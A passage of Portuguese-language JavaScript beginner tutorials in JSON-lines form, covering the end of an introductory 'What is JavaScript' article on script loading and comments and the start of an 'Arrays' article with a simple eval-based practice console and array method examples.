cabeçalhos, tabelas de conteúdo, ou inserindo imagens e vídeos na página.\n* CSS é uma linguagem de regras de estilo que nós usamos para aplicar estilo ao nosso conteúdo HTML. Por exemplo, definindo cores de fundo e fontes, e posicionando nosso conteúdo em múltiplas colunas.\n* JavaScript é uma linguagem de programação que permite a você criar conteúdo que se atualiza dinamicamente, controlar múltimídias, imagens animadas, e tudo o mais que há de interessante. Ok, não tudo, mas é maravilhoso o que você pode efetuar com algumas linhas de código JavaScript.\n\nAs três camadas ficam muito bem uma em cima da outra. Vamos exemplificar com um simples bloco de texto. Nós podemos marcá-lo usando HTML para dar estrutura e propósito:\n\n\n```html\n<p>Jogador 1: Chris</p>\n```\n\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/What_is_JavaScript/just-html.png)\n\nNós podemos adicionar um pouco de CSS na mistura, para deixar nosso parágrafo um pouco mais atraente:\n\n\n```css\np {\n  font-family: \"helvetica neue\", helvetica, sans-serif;\n  letter-spacing: 1px;\n  text-transform: uppercase;\n  text-align: center;\n  border: 2px solid rgba(0, 0, 200, 0.6);\n  background: rgba(0, 0, 200, 0.3);\n  color: rgba(0, 0, 200, 0.6);\n  box-shadow: 1px 1px 2px rgba(0, 0, 200, 0.4);\n  border-radius: 10px;\n  padding: 3px 10px;\n  display: inline-block;\n  cursor: pointer;\n}\n```\n\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/What_is_JavaScript/html-and-css.png)\n\nE finalmente, nós podemos adicionar JavaScript para implementar um comportamento dinâmico:\n\n\n```js\nconst para = document.querySelector(\"p\");\n\npara.addEventListener(\"click\", atualizarNome);\n\nfunction atualizarNome() {\n  var nome = prompt(\"Insira um novo nome\");\n  para.textContent = \"Jogador 1: \" + nome;\n}\n```\n\n\nExperimente clicar no botão acima para ver o que acontece (note também que você pode encontrar essa demonstração no GitHub — veja o código fonte ou veja funcionar)!\n\nJavaScript pode fazer muito mais do que isso — vamos explorar com mais detalhes.\n\nEntão o que ele pode realmente fazer?\n-------------------------------------\n\nO núcleo da linguagem JavaScript consiste em alguns benefícios comuns da programação que permite a você fazer coisas como:\n\n* Armazenar conteúdo útil em variáveis. No exemplo acima, a propósito, nós pedimos que um novo nome seja inserido e armazenamos o nome em uma variável chamada `nome`.\n* Operações com pedaços de texto (conhecidos como \"strings\" em programação). No exemplo acima, nós pegamos a string \"Jogador 1: \" e concatenamos (juntamos) com a variável `nome` para criar o texto completo \"Jogador 1: Chris\".\n* Executar o código em resposta a determinados eventos que ocorrem em uma página da Web. Nós usamos o `click (en-US)` no nosso exemplo acima para que quando clicassem no botão, rodasse o código que atualiza o texto.\n* E muito mais!\n\nO que é ainda mais empolgante é a funcionalidade construída no topo do núcleo da linguagem JavaScript. As APIs (Application Programming Interfaces - Interface de Programação de Aplicativos) proveem a você superpoderes extras para usar no seu código JavaScript.\n\nAPIs são conjuntos prontos de blocos de construção de código que permitem que um desenvolvedor implemente programas que seriam difíceis ou impossíveis de implementar. Eles fazem o mesmo para a programação que os kits de móveis prontos para a construção de casas - é muito mais fácil pegar os painéis prontos e parafusá-los para formar uma estante de livros do que para elaborar o design, sair e encontrar a madeira, cortar todos os painéis no tamanho e formato certos, encontrar os parafusos de tamanho correto e *depois* montá-los para formar uma estante de livros.\n\nElas geralmente se dividem em duas categorias.\n\n![APIs de terceiros e APIs do navegador](/pt-BR/docs/Learn/JavaScript/First_steps/What_is_JavaScript/browser.png)\n\n**APIs de navegadores** já vem implementadas no navegador, e são capazes de expor dados do ambiente do computador, ou fazer coisas complexas e úteis. Por exemplo:\n\n* A API DOM (Document Object Model) permite a você manipular HTML e CSS, criando, removendo e mudando HTML, aplicando dinamicamente novos estilos para a sua página, etc. Toda vez que você vê uma janela pop-up aparecer em uma página, ou vê algum novo conteúdo sendo exibido (como nós vimos acima na nossa simples demonstração), isso é o DOM em ação.\n* A API de Geolocalização recupera informações geográficas. É assim que o Google Maps consegue encontrar sua localização e colocar em um mapa.\n* As APIs Canvas e WebGL permite a você criar gráficos 2D e 3D animados. Há pessoas fazendo algumas coisas fantásticas usando essas tecnologias web — veja Chrome Experiments e webglsamples.\n* APIs de áudio e vídeo (en-US) como `HTMLMediaElement` (en-US) e WebRTC permitem a você fazer coisas realmente interessantes com multimídia, tanto tocar música e vídeo em uma página da web, como capturar vídeos com a sua câmera e exibir no computador de outra pessoa (veja Snapshot demo para ter uma ideia).\n\n**Nota:** Muitas demonstrações acima não vão funcionar em navegadores antigos — quando você for experimentar, é uma boa ideia usar browsers modernos como Firefox, Edge ou Opera para ver o código funcionar. Você vai precisar estudar testes cross browser (en-US) com mais detalhes quando você estiver chegando perto de produzir código (código real que as pessoas vão usar).\n\n**APIs de terceiros** não estão implementados no navegador automaticamente, e você geralmente tem que pegar seu código e informações em algum lugar da Web. Por exemplo:\n\n* A API do Twitter permite a você fazer coisas como exibir seus últimos tweets no seu website.\n* A API do Google Maps permite a você inserir mapas customizados no seu site e outras diversas funcionalidades.\n\n**Nota:** Essas APIs são avançadas e nós não vamos falar sobre nenhuma delas nesse módulo. Você pode achar muito mais sobre elas em nosso módulo APIs web no lado cliente.\n\nTem muito mais coisas disponíveis! Contudo, não fique animado ainda. Você não estará pronto para desenvolver o próximo Facebook, Google Maps ou Instagram depois de estudar JavaScript por 24 horas — há um monte de coisas básicas para estudar primeiro. E é por isso que você está aqui — vamos começar!\n\nO que JavaScript está fazendo na sua página web?\n------------------------------------------------\n\nAqui nós vamos realmente começar a ver algum código, e enquanto fazemos isso vamos explorar o que realmente acontece quando você roda algum código JavaScript na sua página.\n\nVamos recaptular brevemente a história do que acontece quando você carrega uma página web em um navegador (falamos sobre isso no nosso artigo Como o CSS funciona). Quando você carrega uma página web no seu navegador, você está executando seu código (o HTML, CSS e JavaScript) dentro de um ambiente de execução (a guia do navegador). Isso é como uma fábrica que pega a matéria prima (o código) e transforma em um produto (a página web).\n\n![](/pt-BR/docs/Learn/JavaScript/First_steps/What_is_JavaScript/execution.png)\n\nUm uso muito comum do JavaScript é modificar dinamicamente HTML e CSS para atualizar uma interface do usuário, por meio da API do Document Object Model (conforme mencionado acima). Observe que o código em seus documentos web geralmente é carregado e executado na ordem em que aparece na página. Se o JavaScript carregar e tentar executar antes do carregamento do HTML e CSS afetado, poderão ocorrer erros. Você aprenderá maneiras de contornar isso mais adiante neste artigo, na seção Estratégias de carregamento de scripts.\n\n### Segurança do navegador\n\nCada guia do navegador tem seu próprio espaço para executar código (esses espaços são chamados de \"ambientes de execução\", em termos técnicos) — isso significa que na maioria dos casos o código em cada guia está sendo executado separadamente, e o código em uma guia não pode afetar diretamente o código de outra guia — ou de outro website. Isso é uma boa medida de segurança — se esse não fosse o caso, então hackers poderiam começar a escrever código para roubar informações de outros websites, e fazer outras coisas más.\n\n**Nota:** Há muitas maneiras de trocar código e conteúdo entre diferentes websites/guias de uma forma segura, mas são técnicas avançadas que não serão estudadas nesse curso.\n\n### Ordem de execução do JavaScript\n\nQuando o navegador encontra um bloco de código JavaScript, ele geralmente executa na ordem, de cima para baixo. Isso significa que você precisa ter cuidado com a ordem na qual você coloca as coisas. Por exemplo, vamos voltar ao bloco JavaScript que nós vimos no primeiro exemplo:\n\n\n```js\nconst para = document.querySelector(\"p\");\n\npara.addEventListener(\"click\", atualizarNome);\n\nfunction atualizarNome() {\n  let nome = prompt(\"Informe um novo nome:\");\n  para.textContent = \"Jogador 1: \" + nome;\n}\n```\n\n\nAqui nós estamos selecionando um parágrafo (linha 1) e anexando a ele um *event listener* (linha 3). Então, quando o parágrafo recebe um clique, o bloco de código `atualizarNome()` (linhas 5 a 8) é executado. O bloco de código `atualizarNome()`(esses tipos de bloco de código reutilizáveis são chamados \"funções\") pede ao usuário que informe um novo nome, e então insere esse nome no parágrafo, atualizando-o.\n\nSe você inverte a ordem das duas primeiras linhas de código, ele não fucionaria — em vez disso, você receberia um erro no console do navegador — `TypeError: para is undefined`. Isso significa que o objeto `para` não existe ainda, então nós não podemos adicionar *um event listener* a ele.\n\n**Nota:** Esse é um erro muito comum — você precisa verificar se os objetos aos quais você se refere no seu código existem antes de você tentar anexar coisas a eles.\n\n### Código interpretado x compilado\n\nVocê pode ouvir os termos **interpretado** e **compilado** no contexto da programação. JavaScript é uma linguagem interpretada — o código é executado de cima para baixo e o resultado da execução do código é imediatamente retornado. Você não tem que transformar o código em algo diferente antes do navegador executa-lo.\n\nLinguagens compiladas, por outro lado, são transformadas (compiladas) em algo diferente antes que sejam executadas pelo computador. Por exemplo, C/C++ são compiladas em linguagem Assembly, e depois são executadas pelo computador.\n\nJavaScript é uma linguagem de programação leve e interpretada. O navegador recebe o código JavaScript em sua forma de texto original e executa o script a partir dele. Do ponto de vista técnico, a maioria dos intérpretes modernos de JavaScript realmente usa uma técnica chamada **compilação just-in-time** para melhorar o desempenho; o código-fonte JavaScript é compilado em um formato binário mais rápido enquanto o script está sendo usado, para que possa ser executado o mais rápido possível. No entanto, o JavaScript ainda é considerado uma linguagem interpretada, pois a compilação é manipulada em tempo de execução, e não antes.\n\nHá vantagens em ambos os tipos de linguagem, mas nós não iremos discutir no momento.\n\n### Lado do servidor x Lado do cliente\n\nVocê pode também ouvir os termos **lado do servidor (*server-side*)** e **lado do cliente (*client-side*)**, especialmente no contexto de desenvolvimento web. Códigos do lado do cliente são executados no computador do usuário — quando uma página web é visualizada, o código do lado do cliente é baixado, executado e exibido pelo navegador. Nesse módulo JavaScript nós estamos explicitamente falando sobre **JavaScript do lado do cliente**.\n\nCódigos do lado do servidor, por outro lado, são executados no servidor e o resultado da execução é baixado e exibido no navegador. Exemplos de linguagens do lado do servidor populares incluem PHP, Python, Ruby, e ASP.NET. E JavaScript! JavaScript também pode ser usada como uma linguagem *server-side*, por exemplo, no popular ambiente Node.js — você pode encontrar mais sobre JavaScript do lado do servidor no nosso tópico Websites dinâmicos - Programação do lado do servidor.\n\n### Código dinâmico x estático\n\nA palavra **dinâmico** é usada para descrever tanto o JavaScript *client-side* como o *server-side* — essa palavra se refere a habilidade de atualizar a exibição de uma página web/app para mostrar coisas diferentes em circunstâncias diferentes, gerando novo conteúdo como solicitado. Código do lado do servidor dinamicamente gera novo conteúdo no servidor, puxando dados de um banco de dados, enquanto que JavaScript do lado do cliente dinamicamente gera novo conteúdo dentro do navegador do cliente, como criar uma nova tabela HTML com dados recebidos do servidor e mostrar a tabela em uma página web exibida para o usuário. Os significados são ligeiramente diferente nos dois contextos, porém relacionados, e ambos (JavaScript *server-side* e *client-side*) geralmente trabalham juntos.\n\nUma página web sem atualizações dinâmicas é chamada de **estática** — ela só mostra o mesmo conteúdo o tempo todo.\n\nComo você adiciona JavaScript na sua página?\n--------------------------------------------\n\nO JavaScript é inserido na sua página de uma maneira similar ao CSS. Enquanto o CSS usa o elemento `<link>` para aplicar folhas de estilo externas e o elemento `<style>` para aplicar folhas de estilo internas, o JavaScript só precisa de um amigo no mundo do HTML — o elemento `<script>`. Vamos aprender como funciona.\n\n### JavaScript interno\n\n1. Antes de tudo, faça uma cópia local do nosso arquivo de exemplo aplicando-javascript.html. Salve-o em alguma pasta, de uma forma sensata.\n2. Abra o arquivo no seu navegador web e no seu editor de texto. Você verá que o HTML cria uma simples página web contendo um botão clicável.\n3. Agora, vá até o seu editor de texto e adicione o código a seguir antes da tag de fechamento `</body>`:\n\n```html\n<script>\n // O JavaScript fica aqui\n</script>\n```\n\n4. Agora nós vamos adicionar um pouco de JavaScript dentro do nosso elemento `<script>` para que a página faça algo mais interessante — adicione o seguinte código abaixo da linha \"// O JavaScript fica aqui\":\n\n```js\nfunction criarParagrafo() {\n  let para = document.createElement(\"p\");\n  para.textContent = \"Você clicou no botão!\";\n  document.body.appendChild(para);\n}\n\nconst botoes = document.querySelectorAll(\"button\");\n\nfor (var i = 0; i < botoes.length; i++) {\n  botoes[i].addEventListener(\"click\", criarParagrafo);\n}\n```\n\n5. Salve seu arquivo e recarregue a página — agora você deveria ver que quando você clique no botão, um novo parágrafo é gerado e colocado logo abaixo.\n\n**Nota:** Se seu exemplo não parece funcionar, leia cada passo novamente e confira que você fez tudo certo. Você salvou sua cópia local do código inicial como um arquivo .html? Você adicionou o elemento `<script>` imediatamente antes da tag `</body>`? Você digitou o código JavaScript exatamente como ele está sendo mostrado? **JavaScript é uma linguagem case sensitive (isso significa que a linguagem vê diferença entre letras maiúsculas e minúsculas) e muito confusa, então você precisa digitar a sintaxe exatamente como foi mostrada, senão não vai funcionar.**\n\n**Nota:** Você pode ver essa versão no GitHub como apicando-javascript-interno.html (veja funcionar também).\n\n### JavaScript externo\n\nIsso funciona muito bem, mas e se nós quiséssemos colocar nosso JavaScript em um arquivo externo? Vamos explorar isso agora.\n\n1. Primeiro, crie um novo arquivo na mesma pasta que está o arquivo HTML de exemplo. Chame-o de `script.js` — tenha certeza de que o nome do arquivo tem a extensão `.js`, pois é assim que ele será reconhecido como JavaScript.\n2. Agora substitua o elemento atual `<script>` pelo seguinte código:\n\n```html\n<script src=\"script.js\" defer></script>\n```\n\n3. Em `script.js`, adicione o seguinte script:\n\n```js\nfunction createParagraph() {\n  let para = document.createElement(\"p\");\n  para.textContent = \"Você clicou no botão!\";\n  document.body.appendChild(para);\n}\n\nconst buttons = document.querySelectorAll(\"button\");\n\nfor (let i = 0; i < buttons.length; i++) {\n  buttons[i].addEventListener(\"click\", createParagraph);\n}\n```\n\n4. Salve e atualize seu navegador, e você deverá ver a mesma coisa! Funciona igualmente, mas agora nós temos o JavaScript em um arquivo externo. Isso é geralmente uma coisa boa em termos de organização de código, e faz com que seja possível reutilizar o código em múltiplos arquivos HTML. Além disso, o HTML fica mais legível sem grandes pedaços de script no meio dele.\n\n**Nota:** Você pode ver essa versão no GitHub como aplicando-javascript-externo.html e script.js (veja funcionar também).\n\n### Manipuladores de JavaScript inline\n\nNote que às vezes você vai encontrar código JavaScript escrito dentro do HTML. Isso deve ser algo como:\n\n\n```js\nfunction criarParagrafo() {\n  let para = document.createElement(\"p\");\n  para.textContent = \"Você clicou o botao!\";\n  document.body.appendChild(para);\n}\n```\n\n\n\n```html\n<button onclick=\"criarParagrafo()\">Me clique!</button>\n```\n\n\nVocê pode tentar essa versão na nossa demonstração abaixo.\n\nEssa demonstração tem exatamente a mesma funcionalidade que vimos nas primeiras duas seções, exceto que o elemento `<button>` inclui um manipulador *inline* `onclick` para fazer a função ser executada quando o botão é clicado.\n\n**Contudo, por favor, não faça isso.** É uma má prática poluir seu HTML com JavaScript, e isso é ineficiente — você teria que incluir o atributo `onclick=\"criarParagrafo()\"` em todo botão que você quisesse aplicar JavaScript.\n\nUsando uma estrutura feita de puro JavaScript permite a você selecionar todos os botões usando uma instrução. O código que nós usamos acima para servir a esse propósito se parece com isso:\n\n\n```js\nconst botoes = document.querySelectorAll(\"button\");\n\nfor (var i = 0; i < botoes.length; i++) {\n  botoes[i].addEventListener(\"click\", criarParagrafo);\n}\n```\n\n\nIsso talvez parece ser mais do que o atributo `onclick`, mas isso vai funcionar para todos os botões, não importa quantos tem na página, e quantos forem adicionados ou removidos. O JavaScript não precisará ser mudado.\n\n**Nota:** Tente editar a sua versão do arquivo `aplicar-javascript.html`, adicionando alguns botões a mais. Quando você recarregar, você deverá ver que todos os botões, quando clicados, irão criar parágrafos. Agradável, não?\n\n### Estratégias para o carregamento de scripts\n\nHá um considerável número de problemas envolvendo o carregamento de scripts na ordem correta. Infelizmente, nada é tão simples quanto parece ser! Um problema comum é que todo o HTML de uma página é carregado na ordem em que ele aparece. Se você estiver usando Javascript para manipular alguns elementos da página (sendo mais preciso, manipular o Document Object Model), seu código não irá funcionar caso o JavaScript for carregado e executado antes mesmo dos elementos HTML estarem disponíveis.\n\nNos exemplos acima, tanto nos scripts internos ou externos, o JavaScript é carregado e acionado dentro do cabeçalho do documento, antes do corpo da página ser completamente carregado. Isso poderá causar algum erro. Assim, temos algumas soluções para isso.\n\nNo exemplo interno, você pode ver essa estrutura em volta do código:\n\n\n```js\ndocument.addEventListener(\"DOMContentLoaded\", function() {\n  ...\n});\n```\n\n\nIsso é um *event listener* (ouvidor de eventos\\*)\\*, que ouve e aguarda o disparo do evento \"DOMContentLoaded\" vindo do *browser*, evento este que significa que o corpo do HTML está completamente carregado e pronto. O código JavaScript que estiver dentro desse bloco não será executado até que o evento seja disparado, portanto, o erro será evitado (você irá aprender sobre eventos mais tarde).\n\nNo exemplo externo, nós usamos um recurso moderno do JavaScript para resolver esse problema: Trata-se do atributo `defer`, que informa ao *browser* para continuar renderizando o conteúdo HTML uma vez que a tag `<script>` foi atingida.\n\n\n```js\n<script src=\"script.js\" defer></script>\n```\n\n\nNeste caso, ambos script e HTML irão carregar de forma simultânea e o código irá funcionar.\n\n**Nota:** No caso externo, nós não precisamos utilizar o evento `DOMContentLoaded` porque o atributo `defer` resolve o nosso problema. Nós não utilizamos `defer` como solução para os exemplos internos pois `defer` funciona apenas com scripts externos.\n\nUma solução à moda antiga para esse problema era colocar o elemento script bem no final do body da página (antes da tag `</body>)`. Com isso, os scripts iriam carregar logo após todo o conteúdo HTML. O problema com esse tipo de solução é que o carregamento/renderização do script seria completamente bloqueado até que todo o conteúdo HTML fosse analisado. Em sites de maior escala, com muitos scripts, essa solução causaria um grande problema de performance e deixaria o site lento.\n\n#### async e defer\n\nAtualmente, há dois recursos bem modernos que podermos usar para evitar o problema com o bloqueio de scripts — `async` e `defer` (que vimos acima). Vamos ver as diferenças entre esses dois?\n\nOs scripts que são carregados usando o atributo `async` (veja abaixo) irão baixar o script sem bloquear a renderização da página e irão executar imediatamente após o script terminar de ser disponibilizado. Nesse modo você não tem garantia nenhuma que os scripts carregados irão rodar em uma ordem específica, mas saberá que dessa forma eles não irão impedir o carregamento do restante da página. O melhor uso para o `async` é quando os scripts de uma página rodam de forma independente entre si e também não dependem de nenhum outro script.\n\nPor exemplo, se você tiver os seguintes elementos script:\n\n\n```html\n<script async src=\"js/vendor/jquery.js\"></script>\n\n<script async src=\"js/script2.js\"></script>\n\n<script async src=\"js/script3.js\"></script>\n```\n\n\nVocê não pode garantir que o script. `jquery.js` carregará antes ou depois do `script2.js` e `script3.js` . Nesse caso, se alguma função desses scripts dependerem de algo vindo do `jquery`, ela produzirá um erro pois o `jquery` ainda não foi definido/carregado quando os scripts executaram essa função.\n\n`async` deve ser usado quando houver muitos scripts rodando no *background*, e você precisa que estejam disponíveis o mais rápido possível. Por exemplo, talvez você tenha muitos arquivos de dados de um jogo para carregar que serão necessários assim que o jogo iniciar, mas por enquanto, você só quer entrar e ver a tela de carregamento, a do titulo do jogo e o *lobby*, sem ser bloqueado pelo carregamento desses scripts.\n\nScripts que são carregados utilizando o atributo `defer` (veja abaixo) irão rodar exatamente na ordem em que aparecem na página e serão executados assim que o script e o conteúdo for baixado.\n\n\n```html\n<script defer src=\"js/vendor/jquery.js\"></script>\n\n<script defer src=\"js/script2.js\"></script>\n\n<script defer src=\"js/script3.js\"></script>\n```\n\n\nTodos os scripts com o atributo `defer` irão carregar na ordem que aparecem na página. No segundo exemplo, podemos ter a certeza que o script `jquery.js` irá carregar antes do `script2.js` e `script3.js` e o `script2.js` irá carregar antes do `script3.js`. Os scripts não irão rodar sem que antes todo o conteúdo da página seja carregado, que no caso, é muito útil se os seus scripts dependem de um DOM completamente disponibilizado em tela (por exemplo, scripts que modificam um elemento).\n\nResumindo:\n\n* `async` e `defer` istruem o *browser* a baixar os scripts numa *thread* (processo) à parte, enquanto o resto da página (o DOM, etc.) está sendo baixado e disponibilizado de forma não bloqueante.\n* Se os seus scripts precisam rodar imediatamente, sem que dependam de outros para serem executados, use `async`.\n* Se seus scripts dependem de outros scripts ou do DOM completamente disponível em tela, carregue-os usando `defer` e coloque os elementos `<script>` na ordem exata que deseja que sejam carregados.\nComentários\n-----------\n\nAssim como HTML e CSS, é possível escrever comentários dentro do seu código JavaScript que serão ignorados pelo navegador, e existirão simplesmente para prover instruções aos seus colegas desenvolvedores sobre como o código funciona (e pra você, se você tiver que voltar ao seu código depois de 6 meses e não se lembrar do que fez). Comentários são muito úteis, e você deveria usá-los frequentemente, principalmente quando seus códigos forem muito grandes. Há dois tipos:\n\n* Um comentário de uma linha é escrito depois de duas barras. Por exemplo:\n\n```js\n// Eu sou um comentário\n```\n\n* Um comentário de múltiplas linhas é escrito entre os caracteres /\\* e \\*/. Por exemplo:\n\n```js\n/\\*\n Eu também sou\n um comentário\n\\*/\n```\n\n\nEntão, por exemplo, você poderia fazer anotações na nossa última demonstração de código JavaScript, da seguinte forma:\n\n\n```js\n// Função: Cria um novo parágrafo e o insere no fim do arquivo HTML.\n\nfunction criarParagrafo() {\n  var para = document.createElement(\"p\");\n  para.textContent = \"Você clicou no botão!\";\n  document.body.appendChild(para);\n}\n\n/\\*\n 1. Captura referências de todos os botões na página e armazena isso em um array.\n 2. Vai até todos os botões e adiciona um event listener click a cada um deles.\n\n Quando cada botão é clicado, a função criarParagrafo() será executada.\n\\*/\n\nconst botoes = document.querySelectorAll(\"button\");\n\nfor (var i = 0; i < botoes.length; i++) {\n  botoes[i].addEventListener(\"click\", criarParagrafo);\n}\n```\n\n\n**Nota:** Em geral mais comentários são melhores que menos, porém você deve tomar cuidado para não adicionar comentários de mais tentando explicar o que uma variável é (o nome da sua variável deve ser mais intuitivo), ou tentando explicar uma operação simples (talvez seu código seja muito complicado denecessariamente).\n\nSumário\n-------\n\nEntão, esse foi o seu primeiro passo no mundo do JavaScript. Nós iniciamos apenas com teoria, então te ensinamos porque usar JavaScript e que tipo de coisa você pode fazer com ele. Pelo caminho você viu alguns códigos de exemplo e aprendeu como JavaScript se encaixa com o resto do código do seu site, entre outras coisas.\n\nO JavaScript talvez pareça um pouco assustador agora, mas não se preocupe — nesse curso você será guiado passo a passo, e tudo vai começar a fazer sentido. No próximo artigo vamos mergulhar direto para a prática, levando você a construir seu próprio código JavaScript.\n\n* Menu: First steps\n* Próxima"}
{"title":"Arrays - Aprendendo desenvolvimento web","text":"Arrays\n======\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nNeste artigo final do módulo, nós vamos dar uma olhada em arrays - um elegante meio de armazenar uma lista de itens em uma mesmo variável. Aqui nós vemos o porquê isto é útil, depois exploraremos como criar uma array, recuperar, adicionar e remover itens armazenados em uma array, e mais.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Leitura básica sobre computadores, um básico entendimento de HTML e CSS,\n e conhecimento sobre o que é JavaScript.\n  |\n| Objetivo: | Entender o que é array e como manipular ela em JavaScript. |\n\nO que é uma array?\n------------------\n\nArrays são geralmente descritas como \"lista de objetos\"; elas são basicamente objetos que contem múltiplos valores armazenados em uma lista. Um objeto array pode ser armazenado em variáveis e ser tratado de forma muito similar a qualquer outro tipo de valor, a diferença está em podermos acessar cada valor dentro da lista individualmente, e fazer super úteis e eficientes coisas com a lista, como laço através da lista e fazer a mesma coisa para cada valor. Talvez nós pegamos uma série de produtos e seus preços armazenados em uma array, e nós queremos fazer um laço através de todos eles e mostrar em um recibo, enquanto somamos todos os preços e mostramos o preço total ao final.\n\nSe nós não tivessemos arrays, teríamos que armazenar cada item em uma variável separada, então chamar o código para mostrar e adicionar separadamente cada item. Isto seria muito mais longo de escrever, menos eficiente e mais suscetível a erros. Se nós temos 10 itens para adicionar na fatura, isto é ruim o bastante, mas e se fosse 100 itens ou 1000? Nós vamos retornar a este exemplo mais tarde neste artigo.\n\nComo no artigo anterior, vamos aprender o básico de arrays introduzindo com alguns exemplos dentro de um console JavaScript. Nós fornecemos um abaixo (você também pode abrir este console em uma aba separada ou janela, ou usar o console de desenvolvedor do navegador se preferir).\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>JavaScript console</title>\n    <style>\n \\* {\n box-sizing: border-box;\n }\n\n html {\n background-color: #0c323d;\n color: #809089;\n font-family: monospace;\n }\n\n body {\n max-width: 700px;\n }\n\n p {\n margin: 0;\n width: 1%;\n padding: 0 1%;\n font-size: 16px;\n line-height: 1.5;\n float: left;\n }\n\n .input p {\n margin-right: 1%;\n }\n\n .output p {\n width: 100%;\n }\n\n .input input {\n width: 96%;\n float: left;\n border: none;\n font-size: 16px;\n line-height: 1.5;\n font-family: monospace;\n padding: 0;\n background: #0c323d;\n color: #809089;\n }\n\n div {\n clear: both;\n }\n </style>\n  </head>\n  <body></body>\n\n  <script>\n var geval = eval;\n function createInput() {\n var inputDiv = document.createElement(\"div\");\n var inputPara = document.createElement(\"p\");\n var inputForm = document.createElement(\"input\");\n\n inputDiv.setAttribute(\"class\", \"input\");\n inputPara.textContent = \">\";\n inputDiv.appendChild(inputPara);\n inputDiv.appendChild(inputForm);\n document.body.appendChild(inputDiv);\n\n if (document.querySelectorAll(\"div\").length > 1) {\n inputForm.focus();\n }\n\n inputForm.addEventListener(\"change\", executeCode);\n }\n\n function executeCode(e) {\n try {\n var result = geval(e.target.value);\n } catch (e) {\n var result = \"error — \" + e.message;\n }\n\n var outputDiv = document.createElement(\"div\");\n var outputPara = document.createElement(\"p\");\n\n outputDiv.setAttribute(\"class\", \"output\");\n outputPara.textContent = \"Result: \" + result;\n outputDiv.appendChild(outputPara);\n document.body.appendChild(outputDiv);\n\n e.target.disabled = true;\n e.target.parentNode.style.opacity = \"0.5\";\n\n createInput();\n }\n\n createInput();\n </script>\n</html>\n```\n\n### Criando uma array\n\nArrays são contruídas de colchetes, os quais contém uma lista de itens separada por vírgulas.\n\n1. Vamos supor que queremos armazenar uma lista de compras em uma array — nós temos algo como o seguinte. Digite as linhas abaixo no seu console:\n\n```js\nvar shopping = [\"bread\", \"milk\", \"cheese\", \"hummus\", \"noodles\"];\nshopping;\n```\n\n2. Neste caso, cada item na array é uma string, mas tenha em mente que você pode armazenar qualquer item em uma array — string, número, objeto, outra variável, até outra array. Você pode também misturar e combinar tipos de itens — eles não têm que ser todos números, strings, etc. Tente isto:\n\n```js\nvar sequence = [1, 1, 2, 3, 5, 8, 13];\nvar random = [\"tree\", 795, [0, 1, 2]];\n```\n\n3. Tente criar um par de arrays você mesmo, antes de seguir em frente.\n### Acessando e modificando itens de uma array\n\nVocê pode acessar itens individuais em uma array usando a notação de colchetes, da mesma forma que você acessa as letras em uma string.\n\n1. Digite o seguinte no seu console:\n\n```js\nshopping[0];\n// returns \"bread\"\n```\n\n2. Você também pode modificar um item em uma array simplesmente dando um novo valor ao item. Tente isto:\n\n```js\nshopping[0] = \"tahini\";\nshopping;\n// shopping vai retornar agora [ \"tahini\", \"milk\", \"cheese\", \"hummus\", \"noodles\" ]\n```\n\n\n**Nota:** Nós dissemos isto antes, mas como lembrete — computadores começam a contar do 0!\n3. Note que uma array dentro de uma array é chamada de array multidimensional. Você pode acessar um item dentro de uma array que está localizada dentro de outra array, colocando dois conjuntos de colchetes juntos. Por exemplo, para acessar um dos itens dentro de uma array, que é o terceiro item dentro da array `random` (veja a seção anterior), nós podemos fazer algo tipo isto:\n\n```js\nrandom[2][2];\n```\n\n4. Antes de continuar, faça algumas modificações nos exemplos, crie seus próprios arrays e veja o que funciona e o que não funciona. Divirta-se!\n### Encontrando o comprimento de uma array\n\nVocê pode encontrar o comprimento de uma array (quantos itens existem nela) exatamente do mesmo jeito que você encontra o comprimento (em caracteres) de uma string — usando a propriedade `length`. Tente o seguinte:\n\n\n```js\nsequence.length;\n// deve retornar 7\n```\n\n\nIsto tem outras funcionalidades, mas é mais comum usar em um laço para seguir todos os itens em uma array. Então, por exemplo:\n\n\n```js\nvar sequence = [1, 1, 2, 3, 5, 8, 13];\nfor (var i = 0; i < sequence.length; i++) {\n  console.log(sequence[i]);\n}\n```\n\n\nVocê irá aprender sobre laços propriamente em um artigo futuro, mas, brevemente, este código está dizendo:\n\n1. Comece o laço no item número 0 na array.\n2. Pare o laço no item de número igual ao comprimento da array. Isto funcionará para uma array de qualquer tamanho, mas neste caso vai parar o laço no item 7 (isto é bom, como o último item — que nós queremos que o laço cubra — é 6.\n3. Para cada item, imprima no console do navegador com `console.log()`.\nAlguns métodos úteis em array\n-----------------------------\n\nNesta seção vamos ver alguns métodos relacionados a array úteis que nos permitem dividir strings em itens de array e vice-versa, e adicionar novos itens em arrays.\n\n### Convertendo entre strings e arrays\n\nFrequentemente você vai se deparar com alguns dados contidos em uma grande e longa string, e você pode querer separar os itens em uma forma mais útil e então manipular eles, como mostrar em uma tabela. Para fazer isto, nós podemos usar o método `split()`. Nesta forma mais simples, ela pega um parâmetro solitário, o caracter que você deseja separar da string e retorna o restante antes e depois do item separado na array.\n\n**Nota:** Ok, isto é tecnicamente um método de string, não um método de array, mas nós podemos colocar em arrays já que cai bem.\n\n1. Vamos brincar com isto para ver como funciona. Primeiro, crie uma string no seu console:\n\n```js\nvar myData = \"Manchester,London,Liverpool,Birmingham,Leeds,Carlisle\";\n```\n\n2. Agora vamos dividir isto em cada vírgula:\n\n```js\nvar myArray = myData.split(\",\");\nmyArray;\n```\n\n3. Finalmente, tentamos encontrar o comprimento da sua nova array, e recuperar alguns itens dela:\n\n```js\nmyArray.length;\nmyArray[0]; // the first item in the array\nmyArray[1]; // the second item in the array\nmyArray[myArray.length - 1]; // the last item in the array\n```\n\n4. Você também pode ir no sentido oposto usando o método `join()`. Tente o seguinte:\n\n```js\nvar myNewString = myArray.join(\",\");\nmyNewString;\n```\n\n5. Outro jeito de converter uma array em uma string é usar o método `toString()`. `toString()` é indiscutivelmente mais simples que o `join()` pois não necessita um parâmetro, mas mais limitado. Com `join()` você pode especificar diferentes separadores (tente o passo 4 com um caracter diferente da vírgula).\n\n```js\nvar dogNames = [\"Rocket\", \"Flash\", \"Bella\", \"Slugger\"];\ndogNames.toString(); //Rocket,Flash,Bella,Slugger\n```\n\n### Adicionando e removendo itens de arrays\n\nNós ainda não falamos sobre 